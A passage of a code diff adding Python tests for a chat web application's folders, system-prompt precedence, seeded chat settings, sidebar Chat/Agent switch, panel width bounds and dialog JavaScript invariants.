client.post("/api/folders", data={"name": "Isengard"})
assert db.scalar(select(Folder)).name == "Isengard"
def test_a_folder_with_no_name_still_gets_one(client: TestClient, db, registered):
"""The button asks first, but a request that arrives without one must not
produce a folder with a blank label nobody can click."""
client.post("/api/folders", data={})
assert db.scalar(select(Folder)).name == "New folder"
def test_renaming_a_folder(client: TestClient, db, registered):
"""PATCH has been able to do this since folders existed and nothing in the
interface called it, so a folder could not be renamed at all."""
folder = _folder(db, "Isengard")
assert client.patch(f"/api/folders/{folder.id}", data={"name": "Orthanc"}).status_code == 204
db.refresh(folder)
assert folder.name == "Orthanc"
def test_a_blank_rename_is_ignored(client: TestClient, db, registered):
"""A folder nobody can see the name of is one nobody can find."""
folder = _folder(db, "Isengard")
client.patch(f"/api/folders/{folder.id}", data={"name": " "})
db.refresh(folder)
assert folder.name == "Isengard"
# --- The system prompt ladder ---------------------------------------------------
def test_a_folder_prompt_reaches_a_chat_inside_it(client: TestClient, db, registered, make_chat):
_add_connection(db)
folder = _folder(db, "Errands", system_prompt="Answer in the fewest words.")
chat = db.get(Chat, make_chat())
chat.folder_id = folder.id
db.commit()
assert chat_service.effective_system_prompt(db, chat) == "Answer in the fewest words."
def test_a_nested_folder_inherits_its_parents_prompt(
client: TestClient, db, registered, make_chat
):
"""A project's prompt belongs on the project, not on each sub-folder of it."""
_add_connection(db)
top = _folder(db, "Project", system_prompt="Answer in the fewest words.")
inner = _folder(db, "Notes", parent=top)
chat = db.get(Chat, make_chat())
chat.folder_id = inner.id
db.commit()
assert chat_service.effective_system_prompt(db, chat) == "Answer in the fewest words."
def test_the_nearest_folder_prompt_wins(client: TestClient, db, registered, make_chat):
_add_connection(db)
top = _folder(db, "Project", system_prompt="From the top.")
inner = _folder(db, "Notes", parent=top, system_prompt="From the sub-folder.")
chat = db.get(Chat, make_chat())
chat.folder_id = inner.id
db.commit()
assert chat_service.effective_system_prompt(db, chat) == "From the sub-folder."
def test_the_chats_own_prompt_still_wins(client: TestClient, db, registered, make_chat):
_add_connection(db)
folder = _folder(db, "Errands", system_prompt="From the folder.")
chat = db.get(Chat, make_chat())
chat.folder_id = folder.id
chat.system_prompt = "From the chat."
db.commit()
assert chat_service.effective_system_prompt(db, chat) == "From the chat."
def test_a_folder_prompt_beats_the_models(client: TestClient, db, registered, make_chat):
"""The folder is the more specific statement: a model's prompt describes the
model wherever it is used, a folder's describes this piece of work."""
_add_connection(db)
model = db.scalar(select(Model))
model.system_prompt = "From the model."
folder = _folder(db, "Errands", system_prompt="From the folder.")
chat = db.get(Chat, make_chat())
chat.folder_id = folder.id
db.commit()
assert chat_service.effective_system_prompt(db, chat) == "From the folder."
def test_an_empty_folder_prompt_falls_through(client: TestClient, db, registered, make_chat):
_add_connection(db)
model = db.scalar(select(Model))
model.system_prompt = "From the model."
folder = _folder(db, "Errands")
chat = db.get(Chat, make_chat())
chat.folder_id = folder.id
db.commit()
assert chat_service.effective_system_prompt(db, chat) == "From the model."
def test_the_panel_names_the_folder_as_the_source(client: TestClient, db, registered, make_chat):
"""The settings panel mirrors the ladder and has to keep mirroring it. One
naming the wrong source is worse than one naming none, because it is
believed."""
_add_connection(db)
folder = _folder(db, "Errands", system_prompt="Answer in the fewest words.")
chat_id = make_chat()
chat = db.get(Chat, chat_id)
chat.folder_id = folder.id
db.commit()
page = client.get(f"/chat/{chat_id}").text
assert "folder prompt" in page or "the folder" in page
# --- Seeds ----------------------------------------------------------------------
def test_a_folder_seeds_a_new_chats_model(client: TestClient, db, registered):
_add_connection(db)
db.add(Model(connection_id=db.scalar(select(Connection)).id, model_id="other-model"))
db.commit()
folder = _folder(db, "Errands", model_id="other-model")
client.post("/api/chats/start", data={"content": "Hello", "folder_id": folder.id})
chat = db.scalar(select(Chat))
assert chat.model_id == "other-model"
def test_an_explicit_choice_beats_the_folders_seed(client: TestClient, db, registered):
"""The folder says what this work usually needs; the screen in front of
somebody says what they want this time."""
_add_connection(db)
db.add(Model(connection_id=db.scalar(select(Connection)).id, model_id="other-model"))
db.commit()
folder = _folder(db, "Errands", model_id="other-model")
client.post(
"/api/chats/start",
data={"content": "Hello", "folder_id": folder.id, "model_id": "test-model"},
)
assert db.scalar(select(Chat)).model_id == "test-model"
def test_a_folder_belonging_to_someone_else_seeds_nothing(client: TestClient, db, registered):
_add_connection(db)
other = User(name="Sam", email="sam@shire.test", password_hash="x")
db.add(other)
db.commit()
folder = Folder(user_id=other.id, name="Theirs", model_id="other-model")
db.add(folder)
db.commit()
client.post("/api/chats/start", data={"content": "Hello", "folder_id": folder.id})
chat = db.scalar(select(Chat))
assert chat.model_id == "test-model"
def test_a_deleted_connection_on_a_folder_does_not_raise(client: TestClient, db, registered):
"""`ssh_profile_id` is a plain string, not a foreign key, so it can outlive
the profile it names. It is validated on read instead."""
_add_connection(db)
settings_store.update(db, {"enabled": True}, key=settings_store.AGENTS)
folder = _folder(db, "Errands", kind="agent", ssh_profile_id="gone")
response = client.post(
"/api/chats/start", data={"content": "Hello", "folder_id": folder.id}
)
assert response.status_code == 204
# No profile means no agent chat: `_agent_target` refuses rather than
# creating one pointed at nothing.
assert db.scalar(select(Chat)).kind == "chat"
def test_the_seeds_are_saved_and_cleared_through_one_route(client: TestClient, db, registered):
"""Every field clearable, which is what reading the raw form buys: with
`Form(None)` an empty box and an absent one are the same request."""
folder = _folder(db, "Errands")
client.patch(
f"/api/folders/{folder.id}",
data={
"description": "Work on the tower.",
"system_prompt": "Answer in the fewest words.",
"model_id": "test-model",
"kind": "agent",
},
)
db.refresh(folder)
assert folder.description == "Work on the tower."
assert folder.system_prompt == "Answer in the fewest words."
assert folder.kind == "agent"
client.patch(f"/api/folders/{folder.id}", data={"system_prompt": "", "kind": ""})
db.refresh(folder)
assert folder.system_prompt == ""
assert folder.kind == ""
# Untouched keys are left alone rather than blanked.
assert folder.description == "Work on the tower."
def test_a_kind_that_is_not_a_kind_is_dropped(client: TestClient, db, registered):
"""A folder seeding a kind that is not a kind hands every chat a value
`_new_chat` then has to ignore anyway."""
folder = _folder(db, "Errands")
client.patch(f"/api/folders/{folder.id}", data={"kind": "wizard", "agent_mode": "reckless"})
db.refresh(folder)
assert folder.kind == ""
assert folder.agent_mode == ""
# --- Getting into a folder at all -----------------------------------------------
def test_new_chat_here_files_the_chat(client: TestClient, db, registered):
"""`/api/chats/start` has accepted a folder_id since folders existed and
nothing ever sent one."""
_add_connection(db)
folder = _folder(db, "Errands")
page = client.get(f"/chat?folder={folder.id}").text
assert f'name="folder_id" value="{folder.id}"' in page
client.post("/api/chats/start", data={"content": "Hello", "folder_id": folder.id})
assert db.scalar(select(Chat)).folder_id == folder.id
def test_a_folder_fixed_to_agent_opens_the_new_chat_screen_on_that_fork(
client: TestClient, db, registered
):
_add_connection(db)
settings_store.update(db, {"enabled": True}, key=settings_store.AGENTS)
db.add(
SshProfile(
owner_id=db.scalars(select(User).order_by(User.created_at)).first().id,
name="Box",
host="example.test",
username="root",
host_key="ssh-ed25519 AAAA",
)
)
db.commit()
folder = _folder(db, "Errands", kind="agent")
page = client.get(f"/chat?folder={folder.id}").text
assert 'name="kind" value="agent"' in page
# --- The settings page ----------------------------------------------------------
def test_the_settings_page_renders_what_is_stored(client: TestClient, db, registered):
_add_connection(db)
folder = _folder(db, "Errands", system_prompt="Answer in the fewest words.")
page = client.get(f"/folders/{folder.id}").text
assert "Answer in the fewest words." in page
assert f'hx-patch="/api/folders/{folder.id}"' in page
def test_the_settings_page_refuses_someone_elses_folder(client: TestClient, db, registered):
other = User(name="Sam", email="sam@shire.test", password_hash="x")
db.add(other)
db.commit()
folder = Folder(user_id=other.id, name="Theirs")
db.add(folder)
db.commit()
assert client.get(f"/folders/{folder.id}").status_code == 404
def test_the_settings_form_posts_at_a_route_that_serves_patch(
client: TestClient, db, registered
):
"""A control wired to a method its route does not serve fails silently --
htmx surfaces nothing, so it looks exactly like a control that works."""
folder = _folder(db, "Errands")
assert client.post(f"/api/folders/{folder.id}", data={"name": "x"}).status_code == 405
assert client.patch(f"/api/folders/{folder.id}", data={"name": "x"}).status_code == 204
tests/test_layout_bounds.py
+74
View File
@@ -0,0 +1,74 @@
"""Panel widths: three numbers per panel, in three files, that must agree.
`set_layout` drops a CSS variable it does not recognise, and it drops it
silently -- an older browser sending a key a newer release removed must not fail
the whole request. The cost of that kindness is that a panel whose width is
missing from `LAYOUT_BOUNDS` is one whose drag handle appears to work, moves the
edge, and forgets by the next page load. Nothing anywhere says so.
So the three are pinned here: the allowlist entry, the `data-resize-min` on the
handle, and the `--*-width-min` token the CSS clamps with.
"""
from __future__ import annotations
import re
from pathlib import Path
import lembas
from lembas.api.preferences import LAYOUT_BOUNDS
ROOT = Path(lembas.__file__).parent
TOKENS = (ROOT / "web/static/css/tokens.css").read_text(encoding="utf-8")
TEMPLATES = ROOT / "web/templates"
# The panels with a drag handle, and the template each handle lives in.
PANELS = {
"--terminal-width": "chat/_terminal.html",
"--canvas-width": "chat/_canvas.html",
}
# 1rem, everywhere in this application.
REM = 16
def _resize_min(template: str) -> int:
text = (TEMPLATES / template).read_text(encoding="utf-8")
found = re.search(r'data-resize-min="(\d+)"', text)
assert found, f"{template} has a resize handle with no minimum"
return int(found.group(1))
def _token_min(name: str) -> int:
found = re.search(rf"{re.escape(name)}-min:\s*([\d.]+)rem", TOKENS)
assert found, f"{name}-min is not declared in tokens.css"
return int(float(found.group(1)) * REM)
def test_every_dragged_panel_is_in_the_allowlist():
"""Without the entry the drag is silently discarded on the way to the
account, so the width survives in one browser and vanishes in the next."""
missing = [name for name in PANELS if name not in LAYOUT_BOUNDS]
assert not missing, f"not in LAYOUT_BOUNDS: {missing}"
def test_the_three_minimums_agree():
for name, template in PANELS.items():
assert LAYOUT_BOUNDS[name][0] == _resize_min(template) == _token_min(name), name
def test_no_bound_lets_a_panel_become_unreachable():
"""A width outside these is a panel somebody cannot see well enough to drag
back, which is the other half of what the allowlist is for."""
for name, (low, high) in LAYOUT_BOUNDS.items():
assert 0 < low < high, name
def test_the_canvas_starts_wider_than_the_terminal():
"""A source line is longer than eighty columns once nothing is re-wrapping
it, and this one holds prose as well."""
widths = {
name: float(re.search(rf"{re.escape(name)}:\s*([\d.]+)rem", TOKENS).group(1))
for name in PANELS
}
assert widths["--canvas-width"] > widths["--terminal-width"]
tests/test_sidebar_split.py
+213
View File
@@ -0,0 +1,213 @@
"""The sidebar's Chat/Agent switch: what it stores, and what it hides."""
from __future__ import annotations
from fastapi.testclient import TestClient
from sqlalchemy import select
from lembas.db.models import Chat, Connection, Folder, Model, User
from lembas.services import settings_store
from lembas.services.crypto import encrypt
def _enable_agents(db) -> None:
"""The split only applies when agent chats are possible.
With them off the sidebar deliberately goes back to showing everything, so
a test that did not do this would be asserting against the un-split
behaviour and passing for the wrong reason.
"""
settings_store.update(db, {"enabled": True}, key=settings_store.AGENTS)
def _add_connection(db) -> Connection:
connection = Connection(
name="Test", base_url="http://127.0.0.1:1", api_key_encrypted=encrypt("")
)
db.add(connection)
db.commit()
db.add(Model(connection_id=connection.id, model_id="test-model"))
db.commit()
return connection
def _chat(db, *, title: str, kind: str = "chat", folder: Folder | None = None) -> Chat:
user = db.scalars(select(User).order_by(User.created_at)).first()
chat = Chat(
user_id=user.id,
title=title,
kind=kind,
model_id="test-model",
folder_id=folder.id if folder else None,
)
db.add(chat)
db.commit()
return chat
def _folder(db, name: str, parent: Folder | None = None) -> Folder:
user = db.scalars(select(User).order_by(User.created_at)).first()
folder = Folder(user_id=user.id, name=name, parent_id=parent.id if parent else None)
db.add(folder)
db.commit()
return folder
# --- What the switch stores ---------------------------------------------------
def test_the_switch_stores_the_choice_and_returns_the_tree(client: TestClient, db, registered):
response = client.post("/api/preferences/sidebar-kind", data={"kind": "agent"})
assert response.status_code == 200
# The fragment, not a redirect and not a full page: the folder open/closed
# state must survive a flick of the switch.
assert 'id="sidebar-tree"' in response.text
assert "<!doctype html>" not in response.text.lower()
user = db.scalars(select(User).order_by(User.created_at)).first()
db.refresh(user)
assert user.settings_json["sidebar_kind"] == "agent"
def test_an_unknown_kind_is_refused_rather_than_stored(client: TestClient, db, registered):
"""`sidebar_kind` reads anything unrecognised back as "chat", so storing it
would be a preference that silently does nothing."""
assert client.post("/api/preferences/sidebar-kind", data={"kind": "wizard"}).status_code == 400
user = db.scalars(select(User).order_by(User.created_at)).first()
db.refresh(user)
assert "sidebar_kind" not in (user.settings_json or {})
def test_the_switch_survives_a_page_load(client: TestClient, db, registered):
_add_connection(db)
_enable_agents(db)
client.post("/api/preferences/sidebar-kind", data={"kind": "agent"})
page = client.get("/chat").text
assert 'id="sidebar-kind-agent"' in page
# The Agent side is what "New chat" opens on, so the fork is already picked.
assert 'href="/chat?kind=agent"' in page
# --- What each side shows ------------------------------------------------------
def test_each_side_shows_only_its_own_kind(client: TestClient, db, registered):
_add_connection(db)
_enable_agents(db)
_chat(db, title="An ordinary question")
_chat(db, title="A machine errand", kind="agent")
page = client.get("/chat").text
assert "An ordinary question" in page
assert "A machine errand" not in page
client.post("/api/preferences/sidebar-kind", data={"kind": "agent"})
page = client.get("/chat").text
assert "A machine errand" in page
assert "An ordinary question" not in page
def test_a_folder_of_the_other_kind_is_hidden(client: TestClient, db, registered):
_add_connection(db)
_enable_agents(db)
folder = _folder(db, "Errands")
_chat(db, title="A machine errand", kind="agent", folder=folder)
# Chat side: the folder holds something, but nothing of this kind.
assert "Errands" not in client.get("/chat").text
client.post("/api/preferences/sidebar-kind", data={"kind": "agent"})
page = client.get("/chat").text
assert "Errands" in page
assert "A machine errand" in page
def test_a_folder_matching_three_levels_down_is_shown(client: TestClient, db, registered):
"""Judging a folder on its own contents alone would bury it."""
_add_connection(db)
_enable_agents(db)
top = _folder(db, "Top")
middle = _folder(db, "Middle", parent=top)
bottom = _folder(db, "Bottom", parent=middle)
_chat(db, title="A machine errand", kind="agent", folder=bottom)
client.post("/api/preferences/sidebar-kind", data={"kind": "agent"})
page = client.get("/chat").text
assert "Top" in page
assert "Middle" in page
assert "Bottom" in page
assert "A machine errand" in page
def test_an_empty_folder_shows_on_both_sides(client: TestClient, db, registered):
"""Two reasons a folder can look empty, and only one is a reason to hide it.
A folder the filter emptied is noise. A folder that was empty to begin with
is a container somebody just made -- hiding that one means it can never be
found again, let alone filed into.
"""
_add_connection(db)
_enable_agents(db)
_folder(db, "Waiting")
assert "Waiting" in client.get("/chat").text
client.post("/api/preferences/sidebar-kind", data={"kind": "agent"})
assert "Waiting" in client.get("/chat").text
def test_a_folder_holding_both_kinds_shows_the_right_half(client: TestClient, db, registered):
_add_connection(db)
_enable_agents(db)
folder = _folder(db, "Mixed")
_chat(db, title="An ordinary question", folder=folder)
_chat(db, title="A machine errand", kind="agent", folder=folder)
page = client.get("/chat").text
assert "Mixed" in page
assert "An ordinary question" in page
assert "A machine errand" not in page
client.post("/api/preferences/sidebar-kind", data={"kind": "agent"})
page = client.get("/chat").text
assert "Mixed" in page
assert "A machine errand" in page
assert "An ordinary question" not in page
# --- Whether the switch appears at all -----------------------------------------
def test_the_switch_is_absent_when_agent_chats_are_off(client: TestClient, db, registered):
"""A two-way switch with one useful side is worse than no switch: it offers
a view that is empty by construction and cannot be made otherwise."""
_add_connection(db)
settings_store.update(db, {"enabled": False}, key=settings_store.AGENTS)
page = client.get("/chat").text
assert 'id="sidebar-kind-agent"' not in page
def test_the_switch_is_present_when_agent_chats_are_on(client: TestClient, db, registered):
_add_connection(db)
settings_store.update(db, {"enabled": True}, key=settings_store.AGENTS)
page = client.get("/chat").text
assert 'id="sidebar-kind-agent"' in page
assert 'id="sidebar-kind-chat"' in page
# --- The row itself ------------------------------------------------------------
def test_an_agent_chat_is_marked_in_the_row(client: TestClient, db, registered):
"""Legible with the switch off too: a chat that can run commands should not
look like one that cannot."""
_add_connection(db)
_enable_agents(db)
_chat(db, title="A machine errand", kind="agent")
client.post("/api/preferences/sidebar-kind", data={"kind": "agent"})
page = client.get("/chat").text
assert "#i-terminal" in page
# --- The verb goes where the event does ----------------------------------------
def test_the_switch_posts_at_a_route_that_serves_post(client: TestClient, db, registered):
"""Asserted as a refusal as well as a success. A control wired to a method
its route does not serve fails silently -- htmx surfaces nothing, so the
interface looks exactly like one that works."""
assert client.get("/api/preferences/sidebar-kind").status_code == 405
assert client.post("/api/preferences/sidebar-kind", data={"kind": "chat"}).status_code == 200
tests/test_ui_js.py
+66
View File
@@ -0,0 +1,66 @@
"""Dialogs and toasts, checked without a runtime.
There is no JavaScript test runner here and hard rule 1 keeps Node out of the
project, so the behaviour is driven by hand under a DOM stub before committing.
What can be pinned in the suite are the invariants the file states about itself
-- and in particular the one that would look like an improvement to somebody
tidying up later.
"""
from __future__ import annotations
from pathlib import Path
import lembas
ROOT = Path(lembas.__file__).parent
SOURCE = (ROOT / "web/static/js/ui.js").read_text(encoding="utf-8")
TEMPLATES = ROOT / "web/templates"
def test_the_dialogs_never_fall_back_to_the_browsers_own():
"""`window.confirm` and `window.prompt` cannot be styled, ignore the theme
and block the tab. Putting one back is the thing this module exists to
prevent."""
assert "window.confirm(" not in SOURCE
assert "window.prompt(" not in SOURCE
def test_no_template_uses_htmx_s_own_prompt():
"""htmx's hx-prompt calls the browser's prompt() *synchronously* and only
then fires htmx:prompt with the answer already in hand -- so intercepting
the event cannot supply a different one, and the native box appears
regardless. `data-prompt` exists because of that, and an hx-prompt slipped
in later would summon the grey box back with nothing to catch it.
hx-confirm is fine and is used widely: that one fires *before*, and ui.js
intercepts it.
"""
# The attribute, not the word: the comment beside `data-prompt` names
# hx-prompt in order to say why it is not being used.
offenders = [
path.relative_to(TEMPLATES)
for path in TEMPLATES.rglob("*.html")
if 'hx-prompt="' in path.read_text(encoding="utf-8")
]
assert not offenders, f"hx-prompt summons window.prompt: {offenders}"
def test_the_prompt_answer_is_json_encoded_rather_than_concatenated():
"""A folder called `"` would otherwise produce hx-vals that does not parse,
and htmx would send the request with the field missing rather than with the
name -- a rename that silently does nothing."""
start = SOURCE.index("[data-prompt]")
block = SOURCE[start : SOURCE.index("data-confirm", start)]
assert "JSON.stringify" in block
def test_every_prompt_button_names_a_field_or_takes_the_default():
"""The field name is what the route reads. A button with a field the route
does not look at posts nothing and looks exactly like one that works."""
for path in TEMPLATES.rglob("*.html"):
text = path.read_text(encoding="utf-8")
if "data-prompt=" not in text:
continue
# Either an explicit field, or the "name" default the handler applies.
assert "data-prompt-field" in text or "/api/folders" in text, path